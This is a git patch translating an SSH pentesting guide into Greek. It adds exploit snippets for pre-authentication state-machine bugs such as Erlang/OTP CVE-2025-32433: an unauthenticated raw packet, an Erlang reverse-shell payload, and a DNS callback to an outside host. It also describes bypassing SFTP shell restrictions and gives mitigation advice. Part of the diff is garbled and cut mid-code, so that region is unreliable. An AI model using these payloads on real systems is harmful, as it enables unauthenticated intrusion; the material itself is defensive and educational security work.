From 60ae26788e93e3eb30b4f93a230212c07a5bc8fe Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:19:49 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-ssh.md'] to el --- .../pentesting-ssh.md | 76 ++++++++++++++++--- 1 file changed, 66 insertions(+), 10 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 160a62d1a..5c373a960 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -12,15 +12,15 @@ ``` **SSH servers:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10 +- [openSSH](http://www.openssh.org) – OpenBSD SSH, που περιλαμβάνεται σε διανομές BSD, Linux και Windows από τα Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συνήθως αλλά η χρήση του διακομιστή είναι σπανιότερη -- [CopSSH](https://www.itefix.net/copssh) – Υλοποίηση του OpenSSH για Windows +- [CopSSH](https://www.itefix.net/copssh) – υλοποίηση του OpenSSH για Windows **SSH libraries (implementing server-side):** - [libssh](https://www.libssh.org) – πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) και [R](https://github.com/ropensci/ssh); χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git SSH -- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιορισμένα περιβάλλοντα πόρων +- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιορισμένα περιβάλλοντα πόρων - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Η βιβλιοθήκη Apache SSHD java βασίζεται στο Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Βιβλιοθήκη πρωτοκόλλου Python SSHv2 @@ -32,14 +32,14 @@ nc -vn 22 ``` ### Automated ssh-audit -ssh-audit είναι ένα εργαλείο για την επιθεώρηση της διαμόρφωσης του ssh server & client. +ssh-audit είναι ένα εργαλείο για τον έλεγχο διαμόρφωσης του ssh server & client. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) είναι ένα ενημερωμένο fork από [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Χαρακτηριστικά:** - Υποστήριξη πρωτοκόλλου SSH1 και SSH2; -- ανάλυση της διαμόρφωσης του SSH client; +- ανάλυση διαμόρφωσης SSH client; - λήψη banner, αναγνώριση συσκευής ή λογισμικού και λειτουργικού συστήματος, ανίχνευση συμπίεσης; - συλλογή αλγορίθμων ανταλλαγής κλειδιών, host-key, κρυπτογράφησης και κωδικών αυθεντικοποίησης μηνυμάτων; - έξοδος πληροφοριών αλγορίθμου (διαθέσιμο από, αφαιρεθεί/απενεργοποιηθεί, μη ασφαλές/αδύναμο/παλαιό, κ.λπ.); @@ -197,7 +197,7 @@ It's common for SSH servers to allow root user login by default, which poses a s ### SFTP command execution -Υπάρχει μια κοινή παράλειψη που συμβαίνει με τις ρυθμίσεις SFTP, όπου οι διαχειριστές σκοπεύουν οι χρήστες να ανταλλάσσουν αρχεία χωρίς να επιτρέπουν την απομακρυσμένη πρόσβαση στο shell. Παρά την ρύθμιση χρηστών με μη διαδραστικά shell (π.χ. `/usr/bin/nologin`) και περιορίζοντάς τους σε έναν συγκεκριμένο φάκελο, παραμένει ένα κενό ασφαλείας. **Οι χρήστες μπορούν να παρακάμψουν αυτούς τους περιορισμούς** ζητώντας την εκτέλεση μιας εντολής (όπως `/bin/bash`) αμέσως μετά την είσοδό τους, πριν αναλάβει το καθορισμένο μη διαδραστικό shell τους. Αυτό επιτρέπει την μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας. +There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +Στην πράξη, θα χρειαστεί να εκτελέσετε (ή να παραλείψετε) την ανταλλαγή κλειδιών σύμφωνα με την υλοποίηση του στόχου, αλλά **δεν εκτελείται ποτέ καμία αυθεντικοποίηση**. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Επηρεαζόμενες εκδόσεις:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Αιτία:** ο εγγενής SSH daemon του Erlang δεν επικυρώνει την τρέχουσα κατάσταση πριν καλέσει το `ssh_connection:handle_msg/2`. Επομένως, οποιοδήποτε πακέτο με κωδικό μηνύματος 80-255 φτάνει στον χειριστή σύνδεσης ενώ η συνεδρία είναι ακόμα στην κατάσταση *userauth*. +* **Επίπτωση:** μη αυθεντικοποιημένη **εκτέλεση απομακρυσμένου κώδικα** (ο daemon συνήθως εκτελείται ως **root** σε ενσωματωμένες/OT συσκευές). + +Παράδειγμα payload που δημιουργεί ένα reverse shell δεμένο με το κανάλι που ελέγχεται από τον επιτιθέμενο: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +Blind RCE / out-of-band detection μπορεί να πραγματοποιηθεί μέσω DNS: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detection & Mitigation: +* Εξετάστε την κίνηση SSH: **απορρίψτε οποιοδήποτε πακέτο με κωδικό μηνύματος ≥ 80 που παρατηρείται πριν από την αυθεντικοποίηση**. +* Αναβαθμίστε το Erlang/OTP σε **27.3.3 / 26.2.5.11 / 25.3.2.20** ή νεότερη έκδοση. +* Περιορίστε την έκθεση των θυρών διαχείρισης (22/2022/830/2222) – ειδικά σε εξοπλισμό OT. + +--- +### Other Implementations Affected +* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – δέχεται ένα μη αυθεντικοποιημένο `SSH_MSG_USERAUTH_SUCCESS` που αποστέλλεται από τον πελάτη, αποτελεσματικά το αντίστροφο λογικό σφάλμα. + +Το κοινό μάθημα είναι ότι οποιαδήποτε παρέκκλιση από τις μεταβάσεις κατάστασης που ορίζονται από το RFC μπορεί να είναι μοιραία. Όταν αναθεωρείτε ή fuzzing SSH daemons, δώστε ιδιαίτερη προσοχή στην *επιβολή μηχανής κατάστασης*. + ## References -- Μπορείτε να βρείτε ενδιαφέροντες οδηγούς για το πώς να σκληρύνετε το SSH στο [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) +- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ```